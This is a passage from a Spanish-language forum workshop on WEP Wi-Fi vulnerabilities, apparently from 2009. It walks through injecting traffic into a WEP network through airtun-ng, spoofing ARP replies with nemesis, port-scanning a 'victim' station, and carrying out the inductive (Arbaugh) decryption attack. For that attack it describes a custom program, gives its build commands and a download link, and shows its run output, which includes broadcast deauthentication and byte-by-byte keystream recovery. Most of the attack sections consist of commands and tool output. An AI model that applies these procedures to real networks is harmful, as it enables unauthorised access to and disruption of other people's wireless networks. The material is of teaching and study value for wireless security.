En otra shell: (#) (#) Cdigo: ifconfig at0 10.10.10.33 netmask 255.255.255.0 up
30/10/2011
Page 74 of 94
Y para que no haya "trampa ni cartn" hacemos: (#) (#) Cdigo: ifconfig eth0 down
Desactivamos la interface ethernet (qeu si recuerdas el atacante estaba conectado a la red wifi con ela, por eso digo "sin trampa ni cartn"), vemos como queda:
Ahora podemos usar la interface at0 con cualquier herramienta para enviar trfico directamente a la red, por ejemplo, podemos enviar un ping as: (#) (#) Cdigo: ping 10.10.10.200 -I at0
No recibiremos respuestas, pero los paquetes llegarn al destino.
Como esto es un Taller, hay que "trastear", vamos a repasar algunas cuestiones de redes (no exclusivas de las inalmbricas) seguro que mas de uno se sorprende. Veamos qu pasa en "el destino", en lo que hemos llamado cliente vctima con ip 10.10.10.200, lo primero es ver su cach arp:
Como vemos parece que se ha resuelto la direccin 10.10.10.33 (que es nuestra interface tap, at0) la mac es "aleatoria" la genera airtun-ng al "azar". Ahora vamos a poner un esnifer en la vcitma (10.10.10.200) para ver qu es lo que se recibe.
Como puedes ver claramente, se reciben ARP Request (Solicitudes ARP) y se envan ARP Response (las respuestas) Y cmo es esto? Pero si estamos enviando ping? Pues lgico, porque el equipo del atacante tiene que resolver la direccin MAC de la vctima antes de poder encapsular el paquete IP/ICMP, por eso, aunque enviamos ping, la vctima lo que recibe son ARP REQ. Vamos a solucionarlo.
30/10/2011
Page 75 of 94
Si lanzamos airodump (o nos creamos un simple programita para que escuche el trfico de la red) veremos el/los clientes conectados, bueno veremos sus macs, y eso es precisamenbte lo que necesitamos: Lo haremos con airodump... (#) (#) Cdigo: ./airodump-ng -w test -d 00:16:B6:41:03:5d -c 7 eth1
Aqu vemos la MAC de nuestra vctima Ahora vamos a crear una entrada esttica en la tabla arp del atacante que relaciona esa mac con la ip correspondiente, as NO TENDR QUE RESOLVERLA!!!! Y los paquetes saldrn directamente sin necesidad de resolverse (bueno, no es verdad del todo, ahora vers por qu!)
Volvemos a realizar el mismo ping que antes (observa que ahora ni tan siquiera nos muestra el error de host no encontrado.
Veamos que pas en el esnifer que hemos colocado en la vctima, ahora resulta que no hay ARP REQ por parte del atacante (lgico porque al haber creado una entrada esttica ya no necesita resolverlo).
Tambin vemos que se reciben los IP/ICMP echo que enva el atacante pero la vctima no enva respuestas (y por tanto no habr IV's nuevos), es mas, tras varios paquetes ICMP recibidos es la propia vctima quien enva un ARP REQ intentando resolver la MAC-IP del atacante... ser infructuoso porque por la interface at0 del atacante no se pueden descifrar los paquetes recibidos y por tanto no habr un ARP RESPONSE del atacante. (los paquetes IGMP, ni caso a ellos, son multicast de servicios que el router y(o punto de acceso enva) Bueno, pues para que todo vaya mejor, lo nico que tenemos que hacer es decirle a la vctima cul es la mac del atacante!!! O sea, enviar ARP RESPONSE, por que enviar, s que podemos enviar!!!! Para hacerlo podramos hechar mano de otro programa creado por nosotros, pero ... como tenemos un keystream (el archivo ping.xor), una interface tap (at0) y airtun-ng funcionando: PODEMOS USAR CUALQUIER PROGRAMA!!!! Lo haremos con nemesis.... en una shell del atacante hacemos: (#) (#) Cdigo:
30/10/2011
Page 76 of 94
./nemesis arp -S 10.10.10.33 -D 10.10.10.200 -r -d at0
Es decir enviamos ARP Response (-r) por la interface at0 (-d at0) a la ip de la vctima (-D 10.10.10.200) desde la ip del atacante (-S 10.10.10.33) para que actualice su tabla arp Enviamos un par de ellos:
Veamos que tiene ahora la cach ARP de la vctima y qu es lo que pasa en el esnifer. Cach de la vctima: Actualizada su tabla arp con la direccin ip del atacante y la mac de la interface tap (at0)
En el esnifer: Vemos que "auto-mgicamante" tras recibir esos dos ARP RESPONSE (los paquetes con el punto rojo) que enviamos desde nemesis, ya no intenta resolver la MAC, sencillamente responde al ping que enviamos desde la interface at0. (el conjunto de paquetes de la lnea verde)
A partir de ahora, ya podemos usar cualquier otra herramienta para enviar trfico (se supone que mal intencionado ) hacia el cliente inalmbrico vctima. Por ejemplo, aunque no sirve de mucho mas que para demostrar lo dicho, vamos a usar nmap para escanear puertos de la vcitima: Desde una shell del atacante ejecutamos nmap as: (#) (#) Cdigo: nmap -sS -O -p- -P0 -n 10.10.10.200 --send-ip 10.10.10.33 -e at0
* Es muy importante la opcin --send-ip puesto que sin ella nmap primero enviar paquetes ARP REQ a la vcitma y fallara... esta opcin nos permite enviar tramas "en bruto" (raw). Ahora vamos a ver qu pas en el esnifer de la vcitima:
Y como era de esperar, escaneo "al canto", puedes observar que se estn probando diferentes puertos (columna puertos) ldap, ftp, smtp, etc.. Lo que el atacante no recibe son las respuestas, bueno, s que las recibe, pero cifradas y como no tenemos la clave WEP completa no podemos descifrarlos. Tambin has de recordar que la cach arp es dinmica y que tras un tiempo sin actividad por parte del atacante, la vctima borrar de su tabla esa entrada, habra que repetir la inyeccin de nemesis que hicimos antes, o mantener "viva" la conexin.
30/10/2011
Page 77 of 94
Podemos hacer alguna "jugarreta", por ejemplo podramos intentar un ip-spoof + mac-spoof desde la interface at0, por ejemplo, te lo pongo como ejercicio: * Hacer un escner de puertos con nmap como el que se ha descrito, slo que en esta ocasin, la vctima "crea" que el escner se lo est haciendo el punto de acceso. * Esto tiene una ventaja: Como el punto de acceso y la vctima s pueden mantener una comnunicacin completa (ambos conocen la clave wep) el trfico ir por las nubes.... puesto que un escner total de puertos genera un trfico enorme... * Si en la red por ejemplo hay 10 equipos inalmbricos podemos "jugar" con TODOS a la vez y "simular" que es el punto de acceso quien escanea a TODOS, por lo que el trfico es muy, muy,muy grande y capturaremos muchiiisimos IV's. En menos de un minuto tenemos 100 mil IV's :D En este ejercicio todo ha sido "muy fcil" porque el atacante y la vctima "compartan" la misma red, ambos podan comunicarse entre s y adems, el atacante conoca la IP de la vcitma. Ser posible hacer lo mismo sin "esa ventaja"?? Podramos hacer esta misma prueba con la red "del vecino" de la cual no conocemos su rango de ips y al cual no le podemos enviar un paquete en texto plano por la interface ethernet??? La respuesta en el prximo post. Mejor dicho, la respuesta es S, en el prximo post resolveremos este "inconveniente", haremos un nuevo programa, uno que pueda decodificar CUALQUIER paquete cifrado de CUALQUIER red con protegida con WEP y obtener un keystream vlido junto con el rango de direcciones ips que usa "el vecino". Dar lo mismo que use DHCP o no, nuestro prximo objetivo ser averiguar las IPs que circulan en una red WEP y obtener keystream sin estar conectados a ella. Bien, hasta aqu la esta entrega del anlisis de vulnerabilidades WEP, pero OJO!!! que todava esto no ha terminado!!! queda muuuchooo mas.... Arriba (#top)
Dom Ago 02, 2009 11:33 pm
VULNERABILIDADES WEP. PARTE III. TEORA (I) (#p56306)
VULNERABILIDADES WEP. PARTE III. TEORA (I)

Ataque Inductivo.
El ataque inductivo (tambin conocido como ataque Arbaught) consiste en la generacin parcial de paquetes 802.11 que son enviados al punto de acceso con la esperanza de que uno de ellos sea correcto y a partir del mismo ir generando el keystream del paquete cifrado original y por consiguiente conseguir descifrarlo. Cuando digo punto de acceso debera decir Sistema de Distribucin, pero vamos, es una forma "mas coloquial" Esta generacin parcial no debes confundirla con el ataque de fragmentacin, pues si bien se
30/10/2011
Page 78 of 94
envan fragmentos de un paquete, no se trata del mismo tipo de ataque. El ataque inductivo ser capaz de descifrar cualquier paquete de datos cifrado original y lo realiza desde el principio hasta el final, es decir, avanza progresivamente byte por byte desde el comienzo (o desde la posicin que elijamos) hasta el ltimo byte del paquete cifrado original. Otros ataques (luego los veremos) como chopchop hacen algo similar pero descifran a la inversa, esto es, comiernzan de atrs hacia delante, desde el ltimo byte del paquete cifrado original hasta el primero. Adems, ya veremos luego tambin, se puede combinar con otras tnicas como el bit-flipping para lograr el objetivo, que a la postre y en todos los casos de este tipo de ataques, son: * Descifrar un paquete de datos original WEP * Obtener un keystream para poder descifrar otros * Obtener un keystream para poder inyectar nuevos paquetes a la red Es muy importante que comprendamos bien el funcionamiento del ataque inductivo porque muchos otros usan la misma tcnica (o parecida como chopchop) es muy fcil de entender (y difcil de explicar, a ver si lo consigo), veamos: El atacante parte del hecho que puede generar un paquete en texto plano conocido, este paquete no estar completo, puesto que el atacante desconoce muchos parmetros necesarios para poder inyectarlo, el atacante desconoce: * La clave WEP (obvio porque en otro caso todo esto no es necesario) * El contenido original del paquete en texto plano (lgico tambin) * El keystream original (por lo mismo de los dos anteriores) * Las direcciones IPs de la red (como no conoce el texto plano original, el atacante no puede generar paquetes propios en texto plano con las direcciones de red adecuadas) Pero el atacante puede conocer parte del texto plano de un paquete cifrado con WEP!!! Cmo???? Ests seguro????? S.. El atacante mas que conocer, puede reconstruir parte de un paquete de datos en texto plano equivalente al paquete de datos cifrado. De hecho, el atacante tiene una ventaja muy, muy interesante como ya sabemos, un paquete 802.11 comienza siempre en sus 6 primeros bytes por la cabecera SNAP Y esto s lo conocemos!!!! (#) (#) Cdigo: AA AA 03 00 00 00 si no hay spannig-tree 42 42 03 00 00 00 con spanning-tree en la red.
Adems, ya dijimos que un atacante puede asumir que determinados paquetes son de un determinado tipo u otro atendiendo a su tamao, por ejemplo, los paquetes del tipo ARP son: 68 bytes de longitud si no hay QoS 70 bytes de longitud si hay QoS
30/10/2011
Page 79 of 94
Tambin es posible conocer el tamao de otros paquetes interesantes, DHCP, TCP-SYN, etc.. estos paquetes suelen tener tambin un tamao fijo y no son complicados de elaborar. Para mayor sencillez en las explicaciones vamos a usar un ARP. Un paquete ARP en una trama de datos 802.11 tiene esta forma
De estas 4 partes, nos interesa slo la zona de DATOS. Asumiendo que se tratase de un paquete ARP, podemos reconstruirlo (aproximadamente) as:
Los datos que estn reslatados en verde sern siempre los mismos para cualquier paquete ARP, los conocemos SEGURO por lo que los primeros 15 bytes cifrados podemos obtener su keystream. Los bytes resaltados en amarillo son desconocidos, pero podemos intuirlos o pocas son sus variaciones, por ejemplo: El byte 16 (la primera XX en amarillo) sera: 01 Si es un Request (Solicitud ARP) 02 Si es un Response (Respuesta ARP) (nos olvidamos de RARP, asumimos que no existe) Los bytes correspondientes a MAC ORIGEN Y/o MAC DESTINO tambin los podemos intuir observando la cabecera 802.11 que te recuerdo no est cifrada, aunque existe un problema: Si se tratase de un ARP Request MAC DESTINO debera ser 00 00 00 00 00 00 Si se tratase de un ARP Response Target MAC ser la mac de quien origin la solicitud. Como no sabemos si es un ARP REQ o un ARP RSP, pues no podemos determinarlo a ciencia cierta. Los bytes en Rojo, son TOTALMENTE DESCONOCIDOS por el atacante. Por tanto, si quiesiramos realizar un ataque inductivo de este paquete, lo mejor ser comenzar por el byte 16 (que es el primero que desconocemos, el primero de la zona amarilla). En total, los datos cifrados son: 36 bytes para datos y 4 para el ICV, de los cuales conocemos 15. El tamao completo de la trama a buscar sera: (#) (#) Cdigo: 24 bytes para la cabecera 80211 ( 26 si hay QoS) 4 bytes para IV 36 bytes de datos (ARP) 4 bytes para el ICV Total: 24 + 4 + 36 + 4 = 68 bytes total de la trama sin QoS Total: 26 + 4 + 36 + 4 = 70 bytes total de la trama con QoS
30/10/2011
Page 80 of 94
Lo que debemnos hacer es lo siguiente: 1.- Generar una cabecera 802.11 vlida, esto no ofrece dificultad alguna puesto que esa informacin siempre se transmiten en texto plano y podemos manipularlos como si tal cosa. Esta cabecera incluir: Un Frame control de tipo 08 41 (trama de datos normal con el bit toDS activado y bit wep activado) Una duracin: XX XX, la que queramos Las MAcs destino-origen y BSSID, las que queramos y/o acordes a la red en la que nos movemos, tampoco es difcil puesto que las obtenemos en claro. Un nmero de secuencia: XX XX el que queramos Total cabecera 802.11 = 2 + 2 + 18 + 2 = 24 bytes de cabecera (sin QoS) 2.- Aadimos el IV original del paquete capturado (4 bytes) 3.- Aadimos los primeros 15 bytes (la zona verde del paquete ARP) que se corrsponden a lo que el atacante conoce SIEMPRE 4.- Hacemos XOR de los 15 primeros bytes del paquete cifrado original con los 15 bytes del paquete en texto plano que ya conocemos, y obtenemos un keystream para esos primeros 15 bytes. 5.- Se calcula un ICV para estos 15 bytes conocidos (4 bytes) Por el momento tenemos que el total de nuestra trama es: 24 de cabecera 802.11 + 4 IV + 15 Datos + 4 ICV = 47 bytes 6.- Enviamos una trama con 15 bytes 3 = 12 bytes de datos y le aadimos el ICV -1 byte Por tanto, enviamos: 24 de cabecera + 4 del IV + 12 bytes de datos + 3 icv = 43 bytes A esta operacin le iremos aadiendo un byte al final (el del icv) por cada una de las combinaciones posibles (desde 0 a 256, desde 0x00 a 0xFF) y observamos si hay respuesta, si acertamos la estacin o el Punto de acceso lanzar el paquete y deducimos que hemos acertado. Si no hay respuesta, probamos un nuevo valor, as hasta el 256. 7.- Una vez obtenida la respuesta, sabremos cual es el byte correcto para la ltima posicin (la 16), ese byte adivinado ser el keystream para el byte cifrado nmero 16, por lo que si hacemos XOR tendremos su valor en plano (y segn el ejemplo, ya sabremos si es un ARP REQ o RESP).
30/10/2011
Page 81 of 94
8.- Repetimos todo el proceso desde el paso 3, slo que ahora en lugar de tomar los primeros 15 bytes, tomamos los primeros 16 (este ltimo lo descubrimos en el paso 6 y 7) y obtendremos el byte 17, Si repetimos esta operacin para todos y cada uno de los bytes de datos cifrados, obtendremos la totalidad del paquete descifrado y una keystream que nos permitir reinyectar o cifrar/descifrar otros nuevos. Resumiendo, el ataque inductivo se basa en que al conocer parte del texto plano de un paquete cifrado, podemos ir calculado su ICV y probando a enviar partes del mismo alterando el ltimo byte. Te pongo una figura que ayuda MUCHO a entender todo esto:
Por cada una de las tandas de comprobacin de los 256 bytes deberamos obtener al menos una respuesta correcta!!! Cuando esto ocurra, hacemos:
De este modo ya tenemos el keystream, el texto plano y el byte cifrado (este ltimo ya era conocido) del byte nmero 16. Si te fijas, antes dije: Por cada una de las tandas de comprobacin de los 256 bytes deberamos obtener al menos una respuesta correcta!!!
Presta atencin a las palabras deberamos y al menos una respuesta Deberamos porque nadie nos asegura que no haya errores en la transmisin, o que el punto de acceso al recibir muchos paquetes invlidos antes del bueno emita desautenticaciones, etc por eso deberamos. al menos una respuesta porque puede haber mas, tampoco nadie nos asegura que otras estaciones utilicen este mismo IV y provoquen resultados similares o iguales a los esperados. Y qu pasa si ocurre alguna de estas cosas??? Qu ocurresi no obtenemos respuesta o si la respuesta es un falso positivo??? Pues que el siguiente byte a descifrar ser errneo y no producir respuestas y/o resultados, de eso nos daremos cuenta cuando tras probar las 256 combinaciones posibles no obtenemos nada... Entonces??? Entonces lo que hay que hacer es repetir, pero no hace falta empezar desde el primero, por ejemplo, si esa circunstancia se da en el byte nmero 27, repetimos todo el proceso desde el 26
30/10/2011
Page 82 of 94
(el ltimo que se consigui) Y si falla en el primero, para nuestro ejemplo en el 15???? Pues no podemos seguir, el ataque debe finalizar y probar de nuevo, esta vez s, desde el principio. El caso es que si todo va bien y no encontramos inconvenientes la operacin se repite para el byte 16, 17, 18, etc as hasta el ltimo. Para nuestro ejemplo sonl 36 de datos + 4 del ICV = 40 Arriba (#top)
Dom Ago 02, 2009 11:34 pm
VULNERABILIDADES WEP. PARTE III. Prctica (I) (#p56307)
VULNERABILIDADES WEP. PARTE III. Prctica (I)

Ataque Inductivo.
Vamos a realizar un programa que ejecute el ataque inductivo, las funciones que utiliza son: * send_packet, read_packet y dump_packet que como ya es habitual sirven para enviar, leer y/o mostrar el contenido de las tramas.
Funcion main.
* Lee del teclado un BSSID sobre el que se realizar el ataque * Llama a la funcin ataque_inductivo pasndole como parmetro ese BSSID. ataque_inductivo (mi_AP)
Funcin ataque_inductivo
Esta funcin lo primero que hace es capturar un paquete ARP Request de la red elegida (BSSID) en el caso de que tras leer 500 paquetes no se consiga un ARP, procede a una desautenticacin al broadcast para capturar uno. La desautenticacin la realiza llamando a una funcion que es: desautenticar_todos(macAP) O sea, se llama a esa funcin entregando como parmetro la mac del Punto de Acceso, esta funcin como ya hemos dicho enviar tramas de desautenticacin al broadcast. Esta funcin ya la usamos en ejercicios anteriores y por tanto no comentaremos nada nuevo de ella. Una nueva comprobacin ha sido aadida para avanzar mas en nuestro Taller. Consiste en averiguar si se trata de un paquete con cifrado WEP. AVISO!!! No me refiero a si el bit wep est activado (que lo debe estar si la red est protegida) me refiero a que si se trata CONCRETAMENTE de cifrado WEP u otro.
30/10/2011
Page 83 of 94
Te recuerdo que el bit wep activo indica cifrado pero no EL TIPO de cifrado, una red WPA tiene el bit wep activado, una red WEP tiene el bit wep activado tambin. Luego el mero hecho de que est activado el bit wep no significa obligatoriamente que se trate de una red WEP. Creo que os lo puse como ejercicio (haceeee muuuuuchos post de ello) y parece que nadie se atrevi a contestar o a intentarlo, bien, pues ya va siendo hora de resolverlo. Podemos averiguar rpidamente si una red utiliza cifrado WEP analizando el IV (Vector de inicializacin) un IV de WEP es as: (#) (#) Cdigo: 3 bytes (24 bits) para el IV 1 byte (8 bits) para el keyindex (nmero de llave que usa)
Te recuerdo que WEP puede usar diferentes nmeros de llave para la misma clave WEP, incluso estas llaves pueden ser dinmicas con el objeto de proteger an mas la red. Entonces si analizamos el ltimo byte del IV podemos saber si es un cifrado WEP o no, este byte no es otra cosa que el key index. Para WEP, el keyindex, debe ser un valor inferior a 32, de hecho ya conocemos que slo se usarn 0, 1, 2 3. Para WPA se usa 0x60, por tanto si podemos hacer una operacin AND del keyindex para saber si es WEP o no. Algo as: (#) (#) Cdigo: SI (h80211[cabmac+3] & 0x20)) es distinto a cero ) NO ES WEP En caso contrario ES WEP Siendo cabmac la longitud de la cabecera y h80211 un array con el contenido completo del paquete/trama h80211
Recuerda que esta comprobacin slo es efectiva si se trata de una trama de DATOS!!! Puesto que si es de administracin o control, esa posicin no es el keyindex de la clave de cifrado. Otras formas de averiguarlo, por ejemplo en un beacon o en un probe request o probe response, tambin se incluye como datos de los mismos el tipo de cifrado que se usa, pero la forma anterior es ms sencilla de comprobarlo en esta ocasin. El resto de comprobaciones que hace consiste en averiguar si se trata de un paquete ARP o no, y se analiza el tamao, que tenga el bit wep activado, que sea un paquete de datos, que sea un paquete toDS y que el bssid de la trama capturada sea igual al bssid que le pasamos por teclado.
30/10/2011
Page 84 of 94
Observa que el paquete ha de ser toDS!!! Sabes por qu, no???? Claro, si hemos desautenticado a las estaciones es lgico pensar que un ARP Request debe ser un paquete que una estacin enva HACIA el sistema de distribucin, por eso toDS. Las otras condiciones son obvias y en cuanto al tamao, recuerda lo explicado en el post de la teora 68 bytes para un ARP (o 70 si hay QoS) Una vez que tenemos capturado un ARP REQ, ya podemos empezar, para ello se utilizan una serie de arrays que iran almacenando los datos necesarios, estos son: paquete_cifrado: Lgicamente se trata del paquete original h80211: Que se usar para enviar o recibir las tramas temporal: como su nombre indica es un almacn temporal y guardar los datos en texto plano conocidos y los que se vayan descifrando. OJO!!! Slo los datos, sin cabeceras, sin IVs y sin ICVs. SOLO DATOS. crc32: pues ser un array que almacena el icv resultante de temporal. F3: es un array temporal en el cual se va construyendo el paquete completo en plano, incluidos la cabecera MAC, IV, DATOS en PLANO e ICV key_stream: pues ser donde iremos guardando el resultado de hacer XOR entre el paquete en plano y el paquete cifrado. Este array keystream comienza con el IV, es decir, los primeros 4 bytes realmente no es el keystream sino el IV. paq_plano: es otro array que almacena el texto plano, similar al array temporal del que hablamos antes. Adems contamos con otras variables y constantes necesarias para llevar el ataque: mi_ARP contiene los primeros 15 bytes bien conocidos de un paquete ARP (repasa la teora si no lo ves claro) inicio, es la posicin inicial del ataque, para nuestro caso ser 15 final: es el ltimo byte a descifrar, para nuestro ejemplo 36 de datos + 4 para el ICV original = 40 bytes a descifrar actual: que marcar el byte que est siendo analizado, al comienzo de todo el ataque actual=inicio y cuando termine deber ser igual a final. Actual se ir incrementando en una unidad a medida que vamos descifrando nuevos bytes. Tambin utiliza dos funciones: add_crc32 que calcular el ICV para un texto plano dado, de esta funcin no debemos preocuparnos puesto que ya est incluida en las cabeceras crypto.h y programa crypto.c, recuerda simplemente lo que hace, calcular el crc32 de algo, que en nuestro caso ser algo como esto: (#) (#) Cdigo:
30/10/2011
Page 85 of 94
add_crc32 (temporal, actual-3)
Esto calcula el crc32 (ICV) del contenido de temporal y se lo aade en la posicin que diga actual 3. Tambin conviene aclarar que al ICV se le aplica una mscara u otra dependiendo de si se trata de un ICV de texto plano o un ICV cifrado, de esto ya hablaremos cuando expliquemos el bitflipping, por elk momento, ni te preocupes de ello. Para seguir con el ejemplo de la parte de teora, imagina que la posicin de actual es 15, por tanto lo que har esta funcin es calcular el ICV de los primeros 15 bytes y los coloca en la posicin 12,13,14 y 15 (tal y como veamos en la figura) n = actual
Despus se colocan la cabecera mac, el iv, se realizan las operaciones XOR necesarias, se coloca al ICV (slo los 3 primeros bytes) y se entra en un ciclo de 256 repeticiones (una para cada posible valor de 0x00 a 0xFF) Se van enviando estos paquetes con el aadido de ese ltimo byte y se comprueban las respuestas. La comprobacin de las respuestas lo realiza un a nueva funcin llamada ver_envio_ap a la cual se le pasan como parmetros el bssid, el byte actual que est siendo descifrado y el valor del contador del ciclo (n). La funcin ver_envio_ap, adems, captura durante 150000 microsegundos (aprox. Un octavo de segundo) y busca en esas capturas si se produjo una respuesta vlida al ltimo paquete que enviamos, de tal forma que: Entregar como resultado 0 (cero) si no hubo respuesta Un valor distinto a cero si acertamos con el byte. Ese valor de retorno (siempre que no sea cero) ser el valor de actual+24+4+1) es decir, (#) (#) Cdigo: Para nuestro primer byte sera (el 15) Retorno= 15 + 24 + 4 + 1 = 44 bytes 15 por la posicin actual 24 por la cabecera 80211 (o 26 si hay QoS) 4 por el IV 1 por el byte que estamos aadiendo
Si encontramos un paquete de ese tamao y que cumpla las otras condiciones como que sea wep, que sea de datos, que el bssid sea el que escribimos por teclado Y QUE SEA fromDS!!!!!, podemos asegurar que es el nuestro.
Ojo!!! Importante lo de fromDS, est claro, si nosotros enviamos paquetes

modificados con el bit toDS activado (HACIA), es de suponer que cuando alguno de ellos sea el
30/10/2011
Page 86 of 94
corecto el punto de acceso responder con el bit fromDS (DESDE) activado. Todo esto lo realiza la funcin ver_envio_ap Por ltimo, si se recibi la respuesta se muestra por pantalla, se incrementa actual en una unidad y el contador de posibilidades (n) vuelve a cero. Si no hubo respuesta, se incrementa al contador (n) en uno y se prueba de nuevo todo el proceso. Si agotamos todas las posibilidades de n bytes (de 0 a 256) lo repetimos de nuevo desde la posicin actual -1 (recuerda lo que se dijo en la parte de teora acerca de los problemas de transmisin o de falsos positivos. Si falla el envo desde la posicin inicial (15) el ataque no tuvo xito y deberamos repetir todo desde el inicio. En fin, esta es la secuencia del ataque, en esta ocasin y dado que el cdigo fuente es un poquito mas largo que de costumbre, he preferido explicarlo en lugar de postearlo sin mas. Este es un diagrama bsico de lo cmo funciona en bloques el ataque inductivo que implementa este programa:
De todas formas en el cdigo fuente del ejercicio dispones de numerossimos comentarios que van (prcticamente lnea por lnea) aclarando qu se hace, para qu y cmo. Lo puedes descargar en: http://www.megaupload.com/?d=VPG05ZR6
(http://www.megaupload.com/?d=VPG05ZR6)
Lo guardas en el directorio de las fuentes de aircrack con el nombre arpdecode4.c (si hubo versiones arpdecode 1, 2 y 3 antes de conseguir que funcionase fino) y lo compilas: (#) (#) Cdigo: gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude -c -o arpdecode4.o arpdecode4.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 Iinclude arpdecode4.o common.o crypto.o -o arpdecode4 -Losdep -losdep lssl -lcrypto
Podemos verlo en accin: (#) (#) Cdigo: Taller_WiFi src # ./arpdecode4 eth1 Escribe la MAC del bssid o Punto de Acceso -----> 00:16:B6:41:03:5D
30/10/2011
Page 87 of 94
Leyendo paquete nmero 499 on destino a --------> 00:16:B6:41:03:5D: ATENCION!!! Parece que no se capturan ARP_REQ *********** Probando desautenticacin al broadcast Desautenticacin **************** C0 00 3C 02 FF FF FF FF 00 16 B6 41 03 5D 00 00
FF FF 00 16 04 00
B6 41 03 5D
Enviando Desautenticacin nmero 8 <---- Encontrado paquete ----> <---- Esperando 3 Segundos---> Paquete CIFRADO ORIGINAL (solo los datos + ICV) *********************************************** 80 E3 C3 5A 09 EA 6F 7F CC F9 9F EF 5F 12 30 50 50 D3 B1 79 53 07 FC AF D4 01 D5 65 55 53 EF EE 3E 3D 6F E1 03 64 98 7E
-> Byte num. 1 Candidato n/a decode AA <--- DATOS conocidos -> Byte num. 2 Candidato n/a decode AA <--- DATOS conocidos -> Byte num. 3 Candidato n/a decode 03 <--- DATOS conocidos -> Byte num. 4 Candidato n/a decode 00 <--- DATOS conocidos -> Byte num. 5 Candidato n/a decode 00 <--- DATOS conocidos -> Byte num. 6 Candidato n/a decode 00 <--- DATOS conocidos -> Byte num. 7 Candidato n/a decode 08 <--- DATOS conocidos -> Byte num. 8 Candidato n/a decode 06 <--- DATOS conocidos -> Byte num. 9 Candidato n/a decode 00 <--- DATOS conocidos -> Byte num. 10 Candidato n/a decode 01 <--- DATOS conocidos -> Byte num. 11 Candidato n/a decode 08 <--- DATOS conocidos -> Byte num. 12 Candidato n/a decode 00 <--- DATOS conocidos -> Byte num. 13 Candidato n/a decode 06 <--- DATOS conocidos
keystream 2A byte --> CABECERA SNAP keystream 49 byte --> CABECERA SNAP keystream C0 byte --> CABECERA SNAP keystream 5A byte --> CABECERA SNAP keystream 5F byte --> CABECERA SNAP keystream 12 byte --> CABECERA SNAP keystream 38 byte --> Protocolo ARP keystream 56 byte --> Protocolo ARP keystream D4 byte --> Hardware Ethernet keystream 00 byte --> Hardware Ethernet keystream DD byte --> Protocolo IP keystream 65 byte --> Protocolo IP keystream 38 byte --> Longitud MAC
cifrado: 80 cifrado: E3 cifrado: C3 cifrado: 5A cifrado: 5F cifrado: 12 cifrado: 30 cifrado: 50 cifrado: D4 cifrado: 01 cifrado: D5 cifrado: 65 cifrado: 3E
byte byte byte byte byte byte byte byte byte byte byte byte byte
30/10/2011
Page 88 of 94
-> Byte num. 14 Candidato n/a keystream 39 byte decode 04 <--- DATOS conocidos --> Versin IP -> Byte num. 15 Candidato n/a keystream 6F byte decode 00 <--- DATOS conocidos --> ARP (REQ RESP) -> Byte num. 16 Candidato 5B keystream E0 byte decode 01 <--- ARP REQUEST -> Byte num. 17 Candidato 9E keystream 09 byte decode 00 <--- MAC ORIGEN -> Byte num. 18 Candidato F7 keystream FD byte decode 17 <--- MAC ORIGEN -> Byte num. 19 Candidato 44 keystream F5 byte decode 9A <--- MAC ORIGEN -> Byte num. 20 Candidato 4D keystream BC byte decode C3 <--- MAC ORIGEN -> Byte num. 21 Candidato 16 keystream 86 byte decode D6 <--- MAC ORIGEN -> Byte num. 22 Candidato E8 keystream 6A byte decode B9 <--- MAC ORIGEN -> Byte num. 23 Candidato A6 keystream BB byte decode 0A <--- IP ORIGEN (decimal 10) -> Byte num. 24 Candidato AF keystream 73 byte decode 0A <--- IP ORIGEN (decimal 10) -> Byte num. 25 Candidato 67 keystream 5F byte decode 0A <--- IP ORIGEN (decimal 10) -> Byte num. 26 Candidato 22 keystream 9B byte decode C8 <--- IP ORIGEN (decimal 200) -> Byte num. 27 Candidato B0 keystream EF byte decode 00 <--- MAC DESTINO -> Byte num. 28 Candidato 39 keystream EE byte decode 00 <--- MAC DESTINO -> Byte num. 29 Candidato 74 keystream 03 byte decode 00 <--- MAC DESTINO -> Byte num. 30 Candidato FD keystream 64 byte decode 00 <--- MAC DESTINO -> Byte num. 31 Candidato AF keystream 98 byte decode 00 <--- MAC DESTINO Candidato decode FF Byte actual 32 de 40 Vuelta atrs. Fall el ltimo. Reintentando de nuevo posicin 30 -> Byte num. 31 Candidato AF keystream decode 00 <--- MAC DESTINO -> Byte num. 32 Candidato E6 keystream decode 00 <--- MAC DESTINO -> Byte num. 33 Candidato BD keystream decode 0A <--- IP DESTINO (decimal 10) -> Byte num. 34 Candidato 47 keystream decode 0A <--- IP DESTINO (decimal 10) 98 7E C6 F3
cifrado: 3D cifrado: 6F cifrado: E1 cifrado: 09 cifrado: EA cifrado: 6F cifrado: 7F cifrado: 50 cifrado: D3 cifrado: B1 cifrado: 79 cifrado: 55 cifrado: 53 cifrado: EF cifrado: EE cifrado: 03 cifrado: 64 cifrado: 98
byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte byte
a partir de la
byte cifrado: 98 byte cifrado: 7E byte cifrado: CC byte cifrado: F9
byte byte byte byte
30/10/2011
Page 89 of 94
-> Byte num. 35 Candidato EE keystream decode 0A <--- IP DESTINO (decimal 10) -> Byte num. 36 Candidato FA keystream decode F5 <--- IP DESTINO (decimal 245) -> Byte num. 37 Candidato C0 keystream decode CA <--- ICV CRC32 -> Byte num. 38 Candidato 66 keystream decode 14 <--- ICV CRC32 -> Byte num. 39 Candidato 9A keystream decode A9 <--- ICV CRC32 -> Byte num. 40 Candidato AF keystream decode 46 <--- ICV CRC32 Tipo ARP: REQUEST MAC ORIGEN: 00 17 9A C3 D6 B9 IP ORIGEN: 10.10.10.200. MAC DESTINO: 00 00 00 00 00 00 IP DESTINO: 10.10.10.245. Parmetros WEP ************** IV completo: 6C 6B 00 00 Num de KEY usada: 00 keystream; 6C 6B 00 00 38 39 6F E0 03 64 98 7E Listo!!!
95 1A 99 13 55 E9
byte cifrado: 9F byte cifrado: EF byte cifrado: 53 byte cifrado: 07 byte cifrado: FC byte cifrado: AF
byte byte byte byte byte byte
2A 49 C0 5A 09 FD F5 BC C6 F3 95 1A
5F 12 38 56 86 6A BB 73 99 13 55 E9
D4 00 DD 65 5F 9B EF EE
Duracin total del ataque: 13 minutos 44 segundos Taller_WiFi src #
El ataque es lento como puedes ver al finalizar el ataque se muestra la duracin del mismo. (13
minutos 44 segundos) una pasada, vamos... y eso para unos pocos bytes...
